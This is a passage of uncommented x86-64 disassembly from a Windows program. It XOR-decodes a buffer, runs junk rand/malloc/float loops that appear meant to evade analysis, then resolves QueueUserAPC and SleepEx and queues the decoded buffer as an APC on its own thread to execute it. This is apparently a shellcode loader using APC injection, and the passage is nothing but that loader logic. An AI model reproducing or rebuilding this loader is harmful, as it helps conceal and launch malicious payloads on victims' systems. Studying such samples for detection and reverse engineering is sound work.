imul rdx, rax, 0xc4
mov rax, qword [rbp + 0x198]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x39c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x39c], 1
cmp dword [rbp + 0x39c], 0x30
jle 0x14000290e
add dword [rbp + 0x3a0], 1
cmp dword [rbp + 0x3a0], 0x33
jle 0x1400028ff
mov rax, qword [rbp + 0x1a8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x1a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x198]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x3ac], 1
mov eax, dword [rbp + 0x3ac]
cmp eax, 0x7a
jbe 0x14000274e
mov dword [rbp + 0x3ac], 0
jmp 0x140002c44
cmp dword [rbp + 0x3a4], 0x7a
jne 0x140002a6f
mov eax, dword [rbp + 0x3ac]
movsxd rdx, eax
mov rax, qword [rbp + 0x208]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x3a4]
cdqe
movzx ecx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x3ac]
movsxd rdx, eax
mov rax, qword [rbp + 0x208]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x3a4], 0
jmp 0x140002c3d
mov eax, dword [rbp + 0x3ac]
movsxd rdx, eax
mov rax, qword [rbp + 0x208]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x3a4]
cdqe
movzx ecx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x3ac]
movsxd rdx, eax
mov rax, qword [rbp + 0x208]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x398], 0
mov dword [rbp + 0x394], 0
mov ecx, 0x6b8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1c0], rax
mov dword [rbp + 0x390], 0
jmp 0x140002b4c
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x390]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1c0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x390]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1c0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x398], eax
add dword [rbp + 0x390], 1
cmp dword [rbp + 0x390], 0x1ad
jle 0x140002ade
mov dword [rbp + 0x390], 0
jmp 0x140002bd4
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x394]
mov eax, dword [rbp + 0x390]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1c0]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x1b4]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm0
movq rax, xmm4
movsd xmm0, qword [0x14000c190]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004410
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x394], eax
add dword [rbp + 0x390], 1
cmp dword [rbp + 0x390], 0x1ad
jle 0x140002b64
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x394]
movss xmm1, dword [0x14000c198]
divss xmm0, xmm1
movss dword [rbp + 0x1bc], xmm0
pxor xmm5, xmm5
cvtss2sd xmm5, dword [rbp + 0x1bc]
movq rax, xmm5
movq xmm0, rax
call fcn.1400040d0
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x1b8], xmm0
mov rax, qword [rbp + 0x1c0]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x3a4], 1
add dword [rbp + 0x3ac], 1
cmp dword [rbp + 0x3ac], 0x30b
jle 0x140002a19
mov ecx, 0x1998
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1f8], rax
mov ecx, 0x1998
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1f0], rax
mov ecx, 0x1998
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1e8], rax
mov dword [rbp + 0x38c], 0
jmp 0x140002d6a
mov dword [rbp + 0x388], 0
jmp 0x140002d56
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x38c]
cdqe
imul rcx, rax, 0x9c
mov rax, qword [rbp + 0x1f8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x388]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x38c]
cdqe
imul rcx, rax, 0x9c
mov rax, qword [rbp + 0x1f0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x388]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x388], 1
cmp dword [rbp + 0x388], 0x26
jle 0x140002ca5
add dword [rbp + 0x38c], 1
cmp dword [rbp + 0x38c], 0x29
jle 0x140002c96
mov dword [rbp + 0x38c], 0
jmp 0x140002e23
mov dword [rbp + 0x388], 0
jmp 0x140002e0f
mov eax, dword [rbp + 0x38c]
cdqe
imul rdx, rax, 0x9c
mov rax, qword [rbp + 0x1f8]
add rdx, rax
mov eax, dword [rbp + 0x388]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x38c]
cdqe
imul rdx, rax, 0x9c
mov rax, qword [rbp + 0x1f0]
add rdx, rax
mov eax, dword [rbp + 0x388]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x38c]
cdqe
imul rdx, rax, 0x9c
mov rax, qword [rbp + 0x1e8]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x388]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x388], 1
cmp dword [rbp + 0x388], 0x26
jle 0x140002d92
add dword [rbp + 0x38c], 1
cmp dword [rbp + 0x38c], 0x29
jle 0x140002d86
mov rax, qword [rbp + 0x1f8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x1f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x1e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x208]
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x370]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x370]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1d0], rax
mov ecx, 0x1170
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1c8], rax
mov dword [rbp + 0x384], 0
jmp 0x140002f08
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x384]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1c8]
add rax, rdx
movsd xmm1, qword [0x14000c1a0]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x384], 1
cmp dword [rbp + 0x384], 0x22d
jle 0x140002eca
mov dword [rbp + 0x384], 0
jmp 0x140002fa5
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x384]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1c8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x384]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1c8]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004340
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x384], 1
cmp dword [rbp + 0x384], 0x22d
jle 0x140002f23
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x1e0]
mov r9, qword [rbp + 0x1d8]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x1d0]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x400]
add rsp, 0x498
pop rbx
pop rbp
ret